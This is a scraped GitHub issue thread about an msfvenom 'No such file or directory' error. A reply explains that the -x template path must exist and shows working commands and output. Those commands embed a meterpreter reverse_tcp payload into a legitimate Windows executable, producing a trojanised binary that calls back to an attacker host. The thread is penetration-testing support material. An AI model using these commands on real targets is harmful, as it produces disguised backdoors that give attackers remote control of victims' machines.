Metasploit-framework: Error: No such file or directory @ rb_sysopen -

Created on 28 Mar 2020  路  1Comment  路  Source: rapid7/metasploit-framework

Steps to reproduce

How'd you do it?

  1. Open terminal as root user. Enter the code below
  2. msfvenom -p windows/meterpreter/reverse_tcp -k -x original_file.exe LHOST=[YOUR_IP] LPORT=[PORT] -f exe -o clone_file.exe

Expected behavior

Payload size: xxx bytes

What should happen?
Payload should be generated

Current behavior

Error: No such file or directory @ rb_sysopen - ./original_file.exe

What happens instead?
It shows error and does not upload payload.

Metasploit version

5.0.41-dev

InkedKali-Linux-2019 2-vmware-amd64-2020-03-28-22-36-11_LI

OS

Kali linux

question

Most helpful comment

The -x argument is used to specify a custom executable file to use as a template.

The -x argument requires a path to an existing executable.

No such file or directory implies that the filename provided in the -x argument does not exist.

# ruby -W0 ./msfvenom -p windows/meterpreter/reverse_tcp -k -x /usr/share/dbd/binaries/dbd.exe LHOST=172.16.191.165 LPORT=1337 -f exe -o clone_file.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 67072 bytes
Saved as: clone_file.exe
# file clone_file.exe 
clone_file.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

>All comments

The -x argument is used to specify a custom executable file to use as a template.

The -x argument requires a path to an existing executable.

No such file or directory implies that the filename provided in the -x argument does not exist.

# ruby -W0 ./msfvenom -p windows/meterpreter/reverse_tcp -k -x /usr/share/dbd/binaries/dbd.exe LHOST=172.16.191.165 LPORT=1337 -f exe -o clone_file.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 67072 bytes
Saved as: clone_file.exe
# file clone_file.exe 
clone_file.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Was this page helpful?
0 / 5 - 0 ratings

Related issues

Sonya2010 picture Sonya2010  路  3Comments

bugshere picture bugshere  路  3Comments

notdodo picture notdodo  路  3Comments

fluit105 picture fluit105  路  3Comments

handsomebeast picture handsomebeast  路  3Comments